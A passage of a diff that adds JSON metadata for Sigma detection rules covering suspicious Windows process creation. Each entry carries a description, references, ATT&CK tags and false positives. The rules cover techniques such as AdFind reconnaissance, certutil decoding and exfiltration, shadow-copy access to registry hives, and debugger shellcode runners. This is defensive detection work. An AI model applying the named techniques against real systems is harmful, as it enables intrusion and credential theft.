"high", + "falsepositive": [ + "Legitimate use of 7-Zip with a command line in which .dmp appears accidentally" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line that adds an account to the local administrators/administrateurs group", + "uuid": "ad720b90-25ad-43ff-9b5e-5c841facc8e5", + "value": "Add User to Local Administrators", + "meta": { + "refs": [ + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_local_admin.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2022/08/12", + "filename": "proc_creation_win_susp_add_local_admin.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line in which a user gets added to the local Remote Desktop Users group", + "uuid": "ffa28e60-bdb1-46e0-9f82-05f7a61cc06e", + "value": "Suspicious Add User to Remote Desktop Users Group", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop.yml" + ], + "tags": [ + "attack.persistence", + "attack.lateral_movement", + "attack.t1133", + "attack.t1136.001", + "attack.t1021.001" + ], + "creation_date": "2021/12/06", + "filename": "proc_creation_win_susp_add_user_remote_desktop.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a AdFind for enumeration based on it's commadline flags", + "uuid": "455b9d50-15a1-4b99-853f-8d37655a4c1b", + "value": "Suspicious AdFind Enumeration", + "meta": { + "refs": [ + "https://www.joeware.net/freetools/tools/adfind/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ], + "creation_date": "2021/12/13", + "filename": "proc_creation_win_susp_adfind_enumeration.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", + "uuid": "9a132afa-654e-11eb-ae93-0242ac130002", + "value": "AdFind Usage Detection", + "meta": { + "refs": [ + "https://www.joeware.net/freetools/tools/adfind/", + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_usage.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.002" + ], + "creation_date": "2021/02/02", + "filename": "proc_creation_win_susp_adfind_usage.yml", + "author": "Janantha Marasinghe (https://github.com/blueteam0ps), FPT.EagleEye Team, omkar72, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed,\nUsee to Query/modify DNS records for Active Directory integrated DNS via LDAP\n", + "uuid": "26d3f0a2-f514-4a3f-a8a7-e7e48a8d9160", + "value": "Suspicious Execution of Adidnsdump", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adidnsdump.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_susp_adidnsdump.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of AdvancedRun utility", + "uuid": "d2b749ee-4225-417e-b20e-a8d2193cbb84", + "value": "Suspicious AdvancedRun Execution", + "meta": { + "refs": [ + "https://twitter.com/splinter_code/status/1483815103279603714", + "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/20", + "filename": "proc_creation_win_susp_advancedrun.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts", + "uuid": "fa00b701-44c6-4679-994d-5a18afa8a707", + "value": "Suspicious AdvancedRun Runas Priv User", + "meta": { + "refs": [ + "https://twitter.com/splinter_code/status/1483815103279603714", + "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun_priv_user.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/20", + "filename": "proc_creation_win_susp_advancedrun_priv_user.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", + "uuid": "a6fc3c46-23b8-4996-9ea2-573f4c4d88c5", + "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_athremotefxvgpudisablementcommand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/13", + "filename": "proc_creation_win_susp_athremotefxvgpudisablementcommand.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded powershell 'Invoke-' call", + "uuid": "6385697e-9f1b-40bd-8817-f4a91f40508e", + "value": "Suspicious Base64 Encoded Powershell Invoke", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_invoke.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/05/20", + "filename": "proc_creation_win_susp_base64_invoke.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious base64 encoded and obbfuscated LOAD string often used for reflection.assembly load", + "uuid": "9c0295ce-d60d-40bd-bd74-84673b7592b1", + "value": "Suspicious Encoded Obfuscated LOAD String", + "meta": { + "refs": [ + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/03/01", + "filename": "proc_creation_win_susp_base64_load.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects, possibly, malicious unauthorized usage of bcdedit.exe", + "uuid": "c9fbe8e9-119d-40a6-9b59-dd58a5d84429", + "value": "Possible Ransomware or Unauthorized MBR Modifications", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set", + "https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bcdedit.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.persistence", + "attack.t1542.003" + ], + "creation_date": "2019/02/07", + "filename": "proc_creation_win_susp_bcdedit.yml", + "author": "@neu5ron", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute VBscript code that is referenced within the *.bgi file.", + "uuid": "aaf46cdc-934e-4284-b329-34aa701e3771", + "value": "Application Whitelisting Bypass via Bginfo", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/", + "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bginfo.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_susp_bginfo.yml", + "author": "Beyu Denis, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects transferring files from system on a server bitstransfer Powershell cmdlets", + "uuid": "cd5c8085-4070-4e22-908d-a5b3342deb74", + "value": "Suspicious Bitstransfer via PowerShell", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bitstransfer.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2021/08/19", + "filename": "proc_creation_win_susp_bitstransfer.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of a set of builtin commands often used in recon stages by different attack groups", + "uuid": "2887e914-ce96-435f-8105-593937e90757", + "value": "Reconnaissance Activity Using BuiltIn Commands", + "meta": { + "refs": [ + "https://twitter.com/haroonmeer/status/939099379834658817", + "https://twitter.com/c_APT_ure/status/939475433711722497", + "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_builtin_commands_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087", + "attack.t1082", + "car.2016-03-001" + ], + "creation_date": "2018/08/22", + "filename": "proc_creation_win_susp_builtin_commands_recon.yml", + "author": "Florian Roth, Markus Neis", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion", + "uuid": "737e618a-a410-49b5-bec3-9e55ff7fbc15", + "value": "Suspicious Calculator Usage", + "meta": { + "refs": [ + "https://twitter.com/ItsReallyNick/status/1094080242686312448", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_calc.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2019/02/09", + "filename": "proc_creation_win_susp_calc.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Launch 64-bit shellcode from a debugger script file using cdb.exe.", + "uuid": "b5c7395f-e501-4a08-94d4-57fe7a9da9d2", + "value": "Possible App Whitelisting Bypass via WinDbg/CDB as a Shellcode Runner", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/", + "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", + "https://twitter.com/nas_bench/status/1534957360032120833", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cdb.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.defense_evasion", + "attack.t1218", + "attack.t1127" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_susp_cdb.yml", + "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of debugging tools" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code", + "uuid": "e011a729-98a6-4139-b5c4-bf6f6dd8239a", + "value": "Suspicious Certutil Command Usage", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/835149808817991680", + "https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/", + "https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/", + "https://twitter.com/egre55/status/1087685529016193025", + "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_command.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.command_and_control", + "attack.t1105", + "attack.s0160", + "attack.g0007", + "attack.g0010", + "attack.g0045", + "attack.g0049", + "attack.g0075", + "attack.g0096" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_certutil_command.yml", + "author": "Florian Roth, juju4, keepwatch", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious a certutil command that used to encode files, which is sometimes used for data exfiltration", + "uuid": "e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a", + "value": "Certutil Encode", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", + "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_encode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2019/02/24", + "filename": "proc_creation_win_susp_certutil_encode.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", + "uuid": "e0552b19-5a83-4222-b141-b36184bb8d79", + "value": "Obfuscated Command Line Using Special Unicode Characters", + "meta": { + "refs": [ + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_char_in_cmd.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/01/15", + "filename": "proc_creation_win_susp_char_in_cmd.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts", + "uuid": "590a5f4c-6c8c-4f10-8307-89afe9453a9d", + "value": "Suspicious Child Process Created as System", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", + "https://github.com/antonioCoco/RogueWinRM", + "https://twitter.com/Cyb3rWard0g/status/1453123054243024897", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.002" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_susp_child_process_as_system_.yml", + "author": "Teymur Kheirkhabarov, Roberto Rodriguez (@Cyb3rWard0g), Open Threat Research (OTR)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.\nData destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives\n", + "uuid": "4b046706-5789-4673-b111-66f25fe99534", + "value": "Overwrite Deleted Data with Cipher", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-3---overwrite-deleted-data-on-c-drive", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cipher.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/12/26", + "filename": "proc_creation_win_susp_cipher.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process that use escape characters", + "uuid": "f0cdd048-82dc-4f7a-8a7a-b87a52b6d0fd", + "value": "Suspicious Commandline Escape", + "meta": { + "refs": [ + "https://twitter.com/vysecurity/status/885545634958385153", + "https://twitter.com/Hexacorn/status/885553465417756673", + "https://twitter.com/Hexacorn/status/885570278637678592", + "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", + "http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_escape.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ], + "creation_date": "2018/12/11", + "filename": "proc_creation_win_susp_cli_escape.yml", + "author": "juju4", + "level": "low", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of a CLSID folder name located in a suspicious location from the commandline as seen being used in IcedID", + "uuid": "90b63c33-2b97-4631-a011-ceb0f47b77c3", + "value": "Suspicious CLSID Folder Name In Suspicious Locations", + "meta": { + "refs": [ + "https://twitter.com/Kostastsale/status/1565257924204986369", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_clsid_foldername.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_susp_clsid_foldername.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Some FP is expected with some installers" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement.", + "uuid": "e31f89f7-36fb-4697-8ab6-48823708353b", + "value": "Suspicious Cmd Execution via WMI", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_exectution_via_wmi.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_susp_cmd_exectution_via_wmi.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)", + "uuid": "1ac8666b-046f-4201-8aba-1951aaec03a3", + "value": "Command Line Execution with Suspicious URL and AppData Strings", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaaa543adfcd07368ba646b499fa5274b9edf6?environmentId=100", + "https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_http_appdata.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_cmd_http_appdata.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "High" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a copy execution that targets a shadow copy (sometimes used to copy registry hives that are in use)", + "uuid": "c73124a7-3e89-44a3-bdc1-25fe4df754b1", + "value": "Copy from Volume Shadow Copy", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_shadowcopy_access.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/08/09", + "filename": "proc_creation_win_susp_cmd_shadowcopy_access.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "medium", + "falsepositive": [ + "Some rare backup scenarios" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of chcp to look up the system locale value as part of host discovery", + "uuid": "7090adee-82e2-4269-bd59-80691e7c6338", + "value": "CHCP CodePage Locale Lookup", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_lookup.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1614.001" + ], + "creation_date": "2022/02/21", + "filename": "proc_creation_win_susp_codepage_lookup.yml", + "author": "_pete_0, TheDFIRReport", + "level": "high", + "falsepositive": [ + "During Anaconda update the 'conda.exe' process will eventually launch the command described in the detection section" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a code page switch in command line or batch scripts to a rare language", + "uuid": "c7942406-33dd-4377-a564-0f62db0593a3", + "value": "Suspicious Code Page Switch", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identifiers", + "https://twitter.com/cglyer/status/1183756892952248325", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_switch.yml" + ], + "tags": [ + "attack.t1036", + "attack.defense_evasion" + ], + "creation_date": "2019/10/14", + "filename": "proc_creation_win_susp_codepage_switch.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "Administrative activity (adjust code pages according to your organisation's region)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Unicode characters in the command line, which could be a sign of obfuscation or defense evasion", + "uuid": "2c0d2d7b-30d6-4d14-9751-7b9113042ab9", + "value": "Suspicious Characters in CommandLine", + "meta": { + "refs": [ + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_chars.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/27", + "filename": "proc_creation_win_susp_commandline_chars.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line arguments of common data compression tools", + "uuid": "27a72a60-7e5e-47b1-9d17-909c9abafdcd", + "value": "Suspicious Compression Tool Parameters", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1184067445612535811", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_compression_params.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2019/10/15", + "filename": "proc_creation_win_susp_compression_params.yml", + "author": "Florian Roth, Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the conhost execution as parent process. Can be used to evaded defense mechanism.", + "uuid": "7dc2dedd-7603-461a-bc13-15803d132355", + "value": "Conhost Parent Process Executions", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2020/10/25", + "filename": "proc_creation_win_susp_conhost.yml", + "author": "omkar72", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "ForceV1 asks for information directly from the kernel space. Conhost connects to the console application", + "uuid": "3037d961-21e9-4732-b27a-637bcc7bf539", + "value": "Suspicious Conhost Legacy Option", + "meta": { + "refs": [ + "https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost_option.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/04/04", + "filename": "proc_creation_win_susp_conhost_option.yml", + "author": "frack113", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious process pattern found in CVE-2021-40444 exploitation", + "uuid": "894397c6-da03-425c-a589-3d09e7d1f750", + "value": "CVE-2021-40444 Process Pattern", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444", + "https://twitter.com/neonprimetime/status/1435584010202255375", + "https://www.joesandbox.com/analysis/476188/1/iochtml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_cve_2021_40444.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2021/09/08", + "filename": "proc_creation_win_susp_control_cve_2021_40444.yml", + "author": "@neonprimetime, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits", + "uuid": "d7eb979b-c2b5-4a6f-a3a7-c87ce6763819", + "value": "Suspicious Control Panel DLL Load", + "meta": { + "refs": [ + "https://twitter.com/rikvduijn/status/853251879320662017", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_dll_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2017/04/15", + "filename": "proc_creation_win_susp_control_dll_load.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious copy command to or from an Admin share or remote", + "uuid": "855bc8b5-2ae8-402e-a9ed-b889e6df1900", + "value": "Copy from Admin Share", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1211636381086339073", + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html", + 